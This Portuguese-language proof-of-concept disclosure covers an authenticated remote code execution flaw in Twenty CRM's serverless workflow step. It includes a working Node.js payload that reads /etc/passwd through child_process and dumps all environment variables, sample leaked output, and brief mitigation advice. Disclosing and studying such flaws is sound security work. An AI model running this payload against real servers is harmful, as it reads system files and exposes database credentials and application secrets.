
Prova de conceito para execução remota de código autenticada no Twenty CRM por meio de funções de fluxo de trabalho serverless sem sandbox, permitindo execução arbitrária de comandos Node.js e divulgação de variáveis de ambiente.
Produto: Twenty CRM
Vulnerabilidade: Execução Remota de Código (RCE) via Funções Serverless de Workflow
Severidade: Crítica
Componente Afetado: Automação de Workflow (Código - Função Serverless)
Versão Testada: v1.15.0
Este repositório documenta uma vulnerabilidade crítica no mecanismo de workflow do Twenty CRM. O componente "Código - Função Serverless" permite que usuários autenticados executem código Node.js arbitrário. Devido à falta de sandboxing, é possível importar o módulo child_process e executar comandos de nível de sistema no servidor host.
A aplicação permite que usuários criem workflows de automação personalizados que incluem uma etapa de execução de código. Embora isso seja destinado à manipulação de dados, o ambiente de execução não restringe adequadamente o acesso aos módulos internos do Node.js ou ao sistema operacional subjacente.
Um atacante pode utilizar execSync da biblioteca child_process para:
cat, ls, whoami)./etc/passwd).process.env), revelando credenciais de banco de dados, chaves de API e segredos da aplicação.import { execSync } from 'child_process';
export const main = async (params: any): Promise<object> => {
try {
// 1. Execução Remota de Comandos: Ler usuários do sistema
const output = execSync('cat /etc/passwd').toString();
// 2. Divulgação de Informações: Despejar todas as variáveis de ambiente (Segredos)
const secrets = JSON.stringify(process.env);
return {
data: output,
secrets: secrets
};
} catch (e: any) {
return { error: e.message };
}
};
Visão Geral do Código
O workflow é executado com sucesso e retorna os dados do sistema.
Acesso a Arquivos do Sistema (/etc/passwd):
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
postgres:x:70:70:PostgreSQL user:/var/lib/postgresql:/bin/sh
...
Variáveis de Ambiente Vazadas:
O despejo de process.env revelou detalhes críticos de configuração:
PG_DATABASE_URL (Credenciais do Banco de Dados)APP_SECRET (Chaves de assinatura)REDIS_URLAWS_ACCESS_KEY (Se configurado)Esta vulnerabilidade permite que um usuário autenticado (com permissões para criar workflows) alcance o Comprometimento Total do Sistema.
Para corrigir este problema, o recurso "Função Serverless" requer isolamento adequado.
child_process, fs e net.